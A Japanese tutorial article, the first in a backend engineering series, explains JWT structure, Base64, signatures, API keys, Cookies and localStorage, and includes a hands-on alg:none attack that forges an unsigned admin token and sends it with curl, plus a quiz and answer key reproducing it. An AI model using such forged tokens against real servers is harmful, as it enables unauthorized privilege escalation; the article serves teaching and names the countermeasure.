42日でバックエンドエンジニアの基礎を完全に理解する #1 - JWT編
このシリーズについて
バックエンドエンジニアとして最低限知っておくべき技術を、基礎から体系的に学ぶシリーズです。
対象読者は「インフラやフロントは触れる機会があるものの、AIに頼りきりで中身をあまり理解できていない。バックエンドの基礎を体系的に学びたい」という方。
このシリーズで身につくこと
まずはバックエンドを理解するうえで前提知識となるJWT認証の話から始め、Go言語によるAPI開発、データベースの設計と操作、Dockerによるコンテナ技術、AWSを使ったインフラ設計の基礎までを一気通貫で学びます。ここでいう「基礎」はチュートリアルをなぞるだけのものではなく、十分に業務で使えるレベルの知識を指します。
具体的には、このシリーズを完走すると以下ができるようになります。
- JWT認証の仕組みを理解し、脆弱性を説明できる — トークンの構造、署名の原理、代表的な攻撃手法まで
- Go言語でREST APIを0から構築できる — HTTPサーバー、JSON処理、DB接続、テストコードまで
- データベースを設計・操作できる — SQL、テーブル設計、正規化、インデックス、トランザクション、ロックまで
- Dockerの本質を理解し、コンテナを自在に扱える — Dockerfile作成、マルチステージビルド、docker-compose構成まで
- 認証認可の設計・実装ができる — JWTの発行・検証、ミドルウェアパターン、OAuth2の概要まで
- AWSインフラを「なぜその構成にするのか」込みで設計できる — VPC、ECS/Fargate、Aurora、IAM設計まで
- 上記すべてを自分の言葉で説明できる — 原理を理解しているから、質問されても根拠を持って答えられる
なぜ「原理・原則」にこだわるのか
今はAIに聞けば、たいていのコードは一瞬で出てきます。しかし、現場で働いていると、原理・原則を理解している人とそうでない人では、明らかに仕事の質が違います。
原理を理解していない人は、依頼されたタスクを「とりあえず動くように実装する」だけで終わりがちです。一方、理解している人は目的と意図を把握した上で設計・実装ができ、指示を待たずに自発的なアクションが取れます。
このシリーズは、AIの出力を鵜呑みにして仕事をした気になっている状態から抜け出し、技術者として原理・原則を自分の言葉で説明でき、目的意識を持って実装できる人になることを目指しています。
記事の使い方
全記事を通して 「読んで終わり」ではなく「手を動かして理解する」 構成にしています。各記事の最後に確認テストがあるので、全問正解できるまで繰り返してください。
シリーズ構成(全42本 + 演習ノック編)
本シリーズは全42本の連番記事で構成されます。1記事1テーマで、上から順番に進めれば業務で通用するバックエンドの基礎が身につくように設計しています。また、テーマがひと段落したタイミングで、手を動かして定着させる「演習ノック編」(連番なし)を挟みます。
Part 1: Go + API の基礎
| # | テーマ |
|---|---|
| 1 | JWT認証の仕組みと脆弱性(本記事) |
| 2 | Go基礎(前編)変数・構造体・関数 |
| 3 | Go基礎(後編)HTTPサーバー・POST・エラー処理 |
| 4 | GoからDBに接続する |
➡ 演習ノック編:Go基礎50本+CTF50本
Part 2: DB を業務レベルで使う
| # | テーマ |
|---|---|
| 5 | SQL基礎(CRUD) |
| 6 | テーブル設計と正規化 |
| 7 | JOINとテーブル結合 |
| 8 | インデックスと検索高速化 |
| 9 | トランザクションとACID |
| 10 | GoでUPDATE/DELETEを実装する |
| 11 | Goでトランザクションとエラーハンドリング |
| 12 | N+1問題とコネクションプール |
| 13 | マイグレーションとDB運用 |
➡ 演習ノック編:SQL50本ノック
Part 3: コードを業務レベルに構造化
| # | テーマ |
|---|---|
| 14 | レイヤードアーキテクチャ① なぜ層を分けるか |
| 15 | レイヤードアーキテクチャ② repository層 |
| 16 | レイヤードアーキテクチャ③ usecase / handler層とDI |
| 17 | context(タイムアウト・キャンセル) |
| 18 | 並行処理① goroutine |
| 19 | 並行処理② channel |
➡ 演習ノック編:Go50本ノック
Part 4: コンテナ
| # | テーマ |
|---|---|
| 20 | コンテナの本質(namespace / cgroup) |
| 21 | Dockerfileを書く |
| 22 | マルチステージビルド |
| 23 | docker-composeで複数サービスを動かす |
| 24 | コンテナの調査テクニック |
Part 5: 認証認可
| # | テーマ |
|---|---|
| 25 | 認証と認可の違い |
| 26 | GoでJWTを発行・検証する |
| 27 | 認証ミドルウェア |
| 28 | RBAC(ロールベースアクセス制御) |
| 29 | JWT脆弱性の実践 |
| 30 | OAuth2 / OIDC |
| 31 | CSRF / XSS対策 |
➡ 演習ノック編:CTF演習
Part 6: AWS とインフラ設計
| # | テーマ |
|---|---|
| 32 | Webアプリの3層アーキテクチャ |
| 33 | REST API設計の原則 |
| 34 | AWS① VPCとネットワーク設計 |
| 35 | AWS② ECS / Fargate |
| 36 | AWS③ Aurora / RDS |
| 37 | AWS④ IAMと最小権限 |
| 38 | AWS⑤ 監視とログ設計 |
Part 7: 総合演習
| # | テーマ |
|---|---|
| 39 | 設計演習① API設計とDB設計 |
| 40 | 設計演習② インフラ構成設計 |
| 41 | 総合演習 模擬テスト |
| 42 | 総まとめ |
それでは早速一日目に入りましょう
JWTとは何か、なぜ必要なのか
ログインの「困りごと」から考える
Webサイトにログインする場面を考えてみましょう。ユーザーがIDとパスワードを入力し、サーバーがDBで確認する。ここまではシンプルです。
では、ログイン後にページを移動するたびに毎回パスワードを送るとしたら?
ページA表示 → パスワード送信 → DB確認 → OK
ページB表示 → パスワード送信 → DB確認 → OK
ページC表示 → パスワード送信 → DB確認 → OK
パスワードが何度もネットワーク上を流れるので漏洩リスクが上がります。サーバー側もDB問い合わせが増えて負荷が高い。
そこで「最初に1回ログインしたら通行証を渡す。以降は通行証を見せるだけ」にしたい。
ログイン → パスワード確認 → 通行証(JWT)を発行
ページA → 通行証を見せる → OK(パスワード不要)
ページB → 通行証を見せる → OK
ページC → 通行証を見せる → OK
この「通行証」がJWT(JSON Web Token)です。
JWTの構造 - 3つのパーツ
JWTは .(ドット)で区切られた3つのパーツで構成されます。
eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.SflKxwRJSM...
├── ヘッダー ──────┤├── ペイロード ────────┤├── 署名 ───────┤
① ヘッダー(Header)
「この通行証の偽造防止にどの方法を使っているか」の宣言です。
{"alg":"HS256"}
② ペイロード(Payload)
通行証の中身。ユーザー情報や有効期限が入っています。
{"user":"admin","role":"viewer","exp":1712448000}
「ペイロード」は「運ぶ中身」という意味。宅配便でいえば箱の中身です。
③ 署名(Signature)
「この通行証はサーバーが作った本物です」という証明。
HMAC-SHA256("ヘッダー.ペイロード", 秘密鍵) → 署名文字列
秘密鍵を知らない人は正しい署名を作れません。つまり偽造ができない。
たとえ話で整理
| パーツ | 役割 | たとえ |
|---|---|---|
| ヘッダー | 偽造防止の方法を宣言 | 宅配便の伝票 |
| ペイロード | 運ぶ情報 | 箱の中身 |
| 署名 | 改ざんを検知する | 封印テープ |
【手を動かす①】Base64を理解する
ここから実際にターミナルを使います。
Base64とは
あらゆるデータを A-Z, a-z, 0-9, +, / の文字だけで表現する変換方法です。
暗号ではありません。 変換ルールは公開されているので誰でも元に戻せます。
HTTPヘッダーには {} や日本語などの特殊文字をそのまま入れにくいため、Base64で「安全な文字」だけに変換してから送ります。
実際にやってみよう
ターミナルを開いて、以下を順番に実行してください。
# 文字列をBase64エンコードする
echo -n "hello" | base64
aGVsbG8= と表示されましたか?これが hello をBase64に変換した結果です。
# Base64デコードして元に戻す
echo "aGVsbG8=" | base64 -d
hello に戻りましたね。
コマンドの分解
echo -n "hello" | base64
↑文字列を出力 ↑ ↑Base64に変換
-n は改行なし パイプ(左の出力を右の入力に渡す)
-
echo→ 文字列をそのまま出力するコマンド -
-n→ 末尾に改行を入れないオプション(これがないと改行文字もエンコードされる) -
|(パイプ) → 左のコマンドの出力を右のコマンドの入力に渡す -
base64→ Base64エンコード。-dをつけるとデコード
パディング(=)について
Base64は4文字ずつのかたまりで処理します。4の倍数にならない場合は = で埋めます。
echo -n "a" | base64 # → YQ== (=が2つ)
echo -n "ab" | base64 # → YWI= (=が1つ)
echo -n "abc" | base64 # → YWJj (=なし)
JWTでは慣習的に = を省略します。デコード時に警告が出ることがありますが、結果は正しいです。
【手を動かす②】JWTの中身を覗いてみる
以下はJWTトークンの例です。
eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4iLCJmbGFnIjoiRkxBR3t3ZWxjb21lX3RvX2p3dH0ifQ.XXXXX
ヘッダーをデコード
1番目のパーツをデコードしてみましょう。
echo "eyJhbGciOiJIUzI1NiJ9" | base64 -d
結果:
{"alg":"HS256"}
「HS256というアルゴリズムで署名しています」という宣言が読めました。
ペイロードをデコード
2番目のパーツもデコードしてみます。
echo "eyJ1c2VyIjoiYWRtaW4iLCJmbGFnIjoiRkxBR3t3ZWxjb21lX3RvX2p3dH0ifQ" | base64 -d
結果:
{"user":"admin","flag":"FLAG{welcome_to_jwt}"}
ユーザー情報が丸見えです。JWTは暗号化ではないことが体感できたと思います。
暗号化とBase64エンコードの違い
ここは確実に区別してください。
| 暗号化 | Base64エンコード | |
|---|---|---|
| 目的 | 中身を隠す | 安全な文字だけで表現する |
| 元に戻すには | 鍵が必要 | 誰でも戻せる(鍵不要) |
| JWTで使われるのは | ❌ | ✅ |
JWTの署名は「中身を隠す」ためではなく「改ざんされてないか検証する」ためにあります。
たとえるなら:
- 暗号化 = 封筒に入れて中身を見えなくする
- JWT = ハガキに書いて消印(署名)で本物と証明する
署名の仕組みと検証の流れ
署名はどうやって作られるのか
署名 = HMAC-SHA256(
"eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ", ← ヘッダー.ペイロード
"my-secret-key" ← 秘密鍵
)
→ "SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
ランダムに見えますが、同じ入力 + 同じ秘密鍵なら必ず同じ結果になります。
サーバーはどうやって検証するのか
ユーザーがJWTを送ってくる
↓
サーバーがヘッダーを読む → 「HS256で検証すればいいな」
↓
ヘッダーとペイロードから署名を再計算する
HMAC-SHA256("ヘッダー.ペイロード", 秘密鍵) → 署名X
↓
送られてきた署名と署名Xを比較
↓
一致 → 改ざんされていない → リクエストを受け入れる
不一致 → 誰かが中身を書き換えた → リクエストを拒否する
ペイロードを書き換えるとどうなるか
攻撃者が {"role":"viewer"} を {"role":"admin"} に書き換えると、ペイロードが変わるので再計算した署名も変わります。元の署名と一致しなくなり、サーバーが改ざんを検知します。
署名アルゴリズムの種類
共通鍵方式
HS256 = HMAC + SHA256
1つの秘密鍵で署名も検証もする方式。サーバー内で完結する場合に使います。
公開鍵方式
RS256 = RSA + SHA256
秘密鍵(署名用)と公開鍵(検証用)のペア。異なるシステム間でJWTをやりとりする場合に使います。
JWTトークンと秘密鍵は別物
ここを混同する人が多いので注意してください。
| JWTトークン | 秘密鍵 | |
|---|---|---|
| 何か | ユーザーに渡す通行証 | サーバーだけが持つ署名用の鍵 |
| 誰が持つ | ユーザー(ブラウザ) | サーバーだけ |
| 外に出る? | 出る(リクエストのたびに送る) | 絶対に出さない |
| たとえ | 社員証 | 社員証を作る印刷機の暗証番号 |
JWTトークンの中に秘密鍵は入っていません。
APIキーとの違い
そもそもAPIキーとは何でしょうか。
APIキー は、API(外部のサービス)にアクセスするための「合言葉」のような固定文字列です。サービスを契約すると発行され、それを使ってリクエストを送ると「契約者からのアクセスだ」と認識してもらえます。
API-Key: sk-abc123xyz789
たとえば、OpenAIのAPIを使うときに発行される sk-... で始まる文字列、AWSのアクセスキー、GitHubのPersonal Access Token、これらは全部APIキーです。
APIキーの特徴は 「ただの文字列」 であること。中に情報は何も入っていません。「この文字列を持っている人は契約者だ」というだけのシンプルな認証方式です。
これに対してJWTは、トークン自体にユーザー情報や有効期限が埋め込まれています。サーバーは毎回DBを見にいかなくても、トークンをデコードするだけで「誰がアクセスしてきたか」「権限は何か」「まだ有効か」が分かります。
APIキーとJWTの比較
| APIキー | JWT | |
|---|---|---|
| 中身に情報がある? | ない(ただの文字列) | ある(ユーザー名、権限、期限) |
| 期限 | 基本なし(手動で無効化) | ある(例:30分で失効) |
| 使い場面 | システム同士の通信、外部APIの利用 | ユーザーがログインするWebサービス |
| たとえ | 家の鍵(形は変わらない) | 映画のチケット(名前・座席・期限あり) |
家の鍵は誰が持ってきても同じように開きますが、映画のチケットには名前や上映時間が書いてあって期限が過ぎたら使えません。これがAPIキーとJWTの根本的な違いです。
ログイン機能の全体像
JWTがどのように使われるか、ログインの流れ全体を見てみましょう。
① ユーザーがID/パスワードを送信
→ POST /login {"email":"user@example.com", "password":"xxx"}
② サーバーがDBでパスワードを確認
→ 本人確認OK
③ サーバーが秘密鍵を使ってJWTトークンを作成
→ {"token": "eyJhbGci..."}
④ ブラウザがトークンをCookieまたはlocalStorageに保存
⑤ 以降のリクエストではトークンを毎回送る
→ Authorization: Bearer eyJhbGci...
⑥ サーバーがトークンの署名を検証
→ 改ざんなし+期限内 → データを返す
⑦ トークンの期限が切れたら再ログインを要求
CookieとlocalStorage
JWTの保存先について、もう少し詳しく説明します。どちらもブラウザの中にデータを保存する仕組みで、ログイン後にJWTトークンを保管しておくのに使います。
Cookieとは
Cookie は、サーバーがブラウザに「これを覚えておいて」と渡す小さなデータのことです。ブラウザはそれを保存して、次回以降、同じサイトにリクエストを送るたびに自動でCookieも一緒に送り返します。
具体的な流れ:
① ユーザーがログインに成功
② サーバーがレスポンスに Set-Cookie ヘッダーを含める
→ Set-Cookie: token=eyJhbGci...
③ ブラウザがこのCookieを自動で保存
④ 次回以降、ユーザーが同じサイトにアクセスするたびに
ブラウザが自動でCookieヘッダーを付けて送る
→ Cookie: token=eyJhbGci...
ポイントは 「ブラウザが自動で送る」 という点です。開発者が何もしなくても、リクエストのたびにCookieが付いてきます。
身近な例だと、ログインしたサイトを閉じて再度開いてもログイン状態が維持されているのは、Cookieが保存されていてサーバーに自動で送られているからです。
localStorageとは
localStorage は、ブラウザの中にあるもう少し大きなデータ保存領域です。Cookieと違って、自動送信はされません。JavaScriptで手動で取り出して、リクエストヘッダーに自分で付ける必要があります。
// 保存
localStorage.setItem("token", "eyJhbGci...");
// 取得
const token = localStorage.getItem("token");
// リクエストに手動で付ける
fetch("/api/data", {
headers: { "Authorization": "Bearer " + token }
});
CookieとlocalStorageの比較
| Cookie | localStorage | |
|---|---|---|
| 保存方法 | サーバーが Set-Cookie ヘッダーで指示 | JavaScriptで手動 |
| 送信方法 | ブラウザが毎回自動で送る | JavaScriptで手動でヘッダーに付ける |
| 容量 | 約4KB | 約5MB |
| 期限 | サーバーが設定できる(例:1ヶ月) | 明示的に消すまで残る |
| セキュリティ | HttpOnly属性でJSからアクセス不可にできる | JSから常にアクセス可能 |
どちらに保存すべきか
実はこれはWeb開発でよく議論になるテーマです。それぞれにメリット・デメリットがあります。
- Cookie(特にHttpOnly付き) はJavaScriptからアクセスできないため、XSS(クロスサイトスクリプティング)攻撃でトークンを盗まれにくい。ただし別の攻撃(CSRF)への対策が必要。
- localStorage はJavaScriptで自由に扱えて便利だが、XSS攻撃を受けるとトークンが盗まれやすい。
このあたりは認証認可編で詳しく扱います。今は「JWTトークンはCookieかlocalStorageに保存される」ということを押さえておけばOKです。
【手を動かす③】curlでJWTを送ってみる
curlとは
curl(カール) は、ターミナルからHTTPリクエストを送るコマンドです。ブラウザを開かなくても、コマンドラインからWebサーバーにリクエストを送ってレスポンスを確認できます。
curl http://example.com
# → example.com のHTMLが返ってくる
ブラウザでURLにアクセスするのと同じことを、ターミナルのコマンドで行っています。API開発では、ブラウザの代わりにcurlを使ってリクエストを送り、レスポンスを確認するのが基本的な動作確認の方法です。
主なオプション:
| オプション | 意味 | 例 |
|---|---|---|
-H |
HTTPヘッダーを追加 | -H "Authorization: Bearer xxx" |
-X |
HTTPメソッドを指定 |
-X POST(後の記事で詳しく扱います) |
-d |
送信するデータを指定 |
-d '{"name":"washi"}'(後の記事で詳しく扱います) |
curlでJWTを送る
APIにJWTトークンを送るには curl コマンドの -H オプションを使います。
curl -H "Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.XXXXX" http://localhost:8080/secret
-H はHTTPヘッダーを追加するオプション。Bearer の後にスペースを挟んでトークンを送ります。
【手を動かす④】alg:none攻撃を体験する
ここからはセキュリティの話です。JWTの代表的な脆弱性である alg:none攻撃 を実際にやってみましょう。
攻撃の原理
JWTヘッダーの alg を none に書き換えると「署名なし」を意味します。脆弱なサーバーはこれを受け入れて署名検証をスキップしてしまいます。
署名検証がなければ、ペイロードを自由に書き換えられます。
攻撃者の思考:
ペイロードを {"role":"admin"} に変えたい
↓
でも変えると署名が合わなくなる
↓
正しい署名を作るには秘密鍵が必要、でも知らない
↓
じゃあ署名の検証自体をスキップさせよう!
↓
ヘッダーを {"alg":"none"} にする!
実際に作ってみよう
偽のJWTトークンを手動で作成します。
# ① ヘッダー:署名なしを宣言
echo -n '{"alg":"none"}' | base64
# → eyJhbGciOiJub25lIn0=
# ② ペイロード:admin権限を主張
echo -n '{"user":"attacker","role":"admin"}' | base64
# → eyJ1c2VyIjoiYXR0YWNrZXIiLCJyb2xlIjoiYWRtaW4ifQ==
この2つを . で繋げます。署名は空ですが、末尾の . は必須です。JWTは必ず3パーツなので、署名が空でもドットは必要。
eyJhbGciOiJub25lIn0=.eyJ1c2VyIjoiYXR0YWNrZXIiLCJyb2xlIjoiYWRtaW4ifQ==.
これを脆弱なサーバーに送ると、admin権限でアクセスできてしまいます。
curl -H "Authorization: Bearer eyJhbGciOiJub25lIn0=.eyJ1c2VyIjoiYXR0YWNrZXIiLCJyb2xlIjoiYWRtaW4ifQ==." http://target/secret
対策
サーバー側で alg: none を絶対に受け入れないように実装すること。
シェルコマンド補足:’’ と “” の違い
JWT関連のコマンドでよく使うので、ここで整理しておきます。
NAME="tanaka"
echo '$NAME' # → $NAME(そのまま出力)
echo "$NAME" # → tanaka(変数が展開される)
'' シングルクォート |
"" ダブルクォート |
|
|---|---|---|
| 中身 | 一切加工しない | 変数を展開する |
| JSON | ✅ こちらを使う | ❌ " が衝突する |
JSONを扱うときはシングルクォートで囲みます。ダブルクォートだとJSONの中の " とシェルの " がぶつかるためです。
確認テスト
以下の問いに全て答えられたら、JWT編は完了です。何も見ずに答えてください。
知識問題
- JWTの3パーツの名前と順番を答えてください
- JWTは暗号化されていますか?理由とともに答えてください
- 署名は何のためにありますか?
- JWTトークンと秘密鍵の違いを説明してください
- APIキーとは何ですか?JWTとの違いを1つ挙げてください
- HS256とは何の略ですか?
- Cookieとは何ですか?localStorageとの違いを1つ挙げてください
- Cookieの「自動で送られる」とはどういう意味ですか?
-
''と""の違いは何ですか?
実技問題
- 以下のJWTペイロードをデコードするコマンドを書いてください
eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoic3VwZXJ1c2VyIn0
- alg:none攻撃とは何ですか?一言で説明してください
- 以下のペイロードで alg:none攻撃のJWTトークンを作成してください
{"user":"hacker","role":"admin"}
確認テスト 解答・解説
知識問題
1. JWTの3パーツの名前と順番を答えてください
ヘッダー(Header). ペイロード(Payload). 署名(Signature)
この順番で .(ドット)区切りで並んでいる。ヘッダーは署名方式の宣言、ペイロードはユーザー情報などの中身、署名は改ざん検知用。
2. JWTは暗号化されていますか?理由とともに答えてください
暗号化されていない。Base64エンコードされているだけなので、誰でもデコードすれば中身が読める。署名は「中身を隠す」ためではなく「改ざんされてないか検証する」ためにある。
3. 署名は何のためにありますか?
JWTの中身(ヘッダーとペイロード)が改ざんされていないことを検証するため。サーバーが秘密鍵を使って署名を作り、リクエスト時に再計算して一致するか確認する。
4. JWTトークンと秘密鍵の違いを説明してください
JWTトークンはユーザーに渡す通行証。リクエストのたびに送る。秘密鍵はサーバーだけが持つ署名用の鍵で、外に出ることは絶対にない。JWTトークンの中に秘密鍵は入っていない。
5. APIキーとは何ですか?JWTとの違いを1つ挙げてください
APIキーはAPI(外部サービス)にアクセスするための「合言葉」のような固定文字列。OpenAIの sk-... やAWSのアクセスキーなどがそれにあたる。中に情報は入っておらず「この文字列を持っている人は契約者だ」という認証だけを行う。一方JWTはトークン自体にユーザー名・権限・有効期限などの情報が埋め込まれている。また、JWTには有効期限があるがAPIキーには基本的にない。
6. HS256とは何の略ですか?
HMAC-SHA256の略。HMACは秘密鍵を使って改ざんを検知する仕組み、SHA256はハッシュ関数。
7. Cookieとは何ですか?localStorageとの違いを1つ挙げてください
Cookieはサーバーがブラウザに「これを覚えておいて」と渡す小さなデータ。ブラウザが保存し、次回以降のリクエストで自動的にサーバーに送り返す。localStorageもブラウザの中にデータを保存する仕組みだが、自動送信されない点が違う。localStorageに保存したデータはJavaScriptで手動で取り出してリクエストヘッダーに付ける必要がある。
8. Cookieの「自動で送られる」とはどういう意味ですか?
開発者が何も書かなくても、ブラウザが同じサイトにリクエストを送るたびに、保存されているCookieをリクエストヘッダーに自動で付けて送信してくれるという意味。これによりログイン状態が維持される。
9. '' と "" の違いは何ですか?
''(シングルクォート)は中身を一切加工しない。""(ダブルクォート)は中身の変数を展開する。JSONを扱うときは '' を使う。
実技問題
10. JWTペイロードをデコードするコマンド
echo "eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoic3VwZXJ1c2VyIn0" | base64 -d
# → {"user":"admin","role":"superuser"}
echo で文字列を出力し、パイプ | で base64 -d(デコード)に渡す。
11. alg:none攻撃とは何ですか?
JWTヘッダーの署名アルゴリズムを none に書き換えて署名検証をスキップさせ、ペイロードを自由に改ざんする攻撃。
12. alg:none攻撃のJWTトークンを作成してください
# ヘッダーを作る
echo -n '{"alg":"none"}' | base64
# → eyJhbGciOiJub25lIn0=
# ペイロードを作る
echo -n '{"user":"hacker","role":"admin"}' | base64
# → eyJ1c2VyIjoiaGFja2VyIiwicm9sZSI6ImFkbWluIn0=
# ドットで繋げる(末尾の . を忘れない)
eyJhbGciOiJub25lIn0=.eyJ1c2VyIjoiaGFja2VyIiwicm9sZSI6ImFkbWluIn0=.
ポイント:JWTは必ず3パーツを . で区切る。署名が空でも末尾の . は必須。echo -n で改行を入れず、シングルクォートでJSONの " を守る。
次回: #2 Go基礎編 - 変数・構造体・関数からHTTPサーバーまで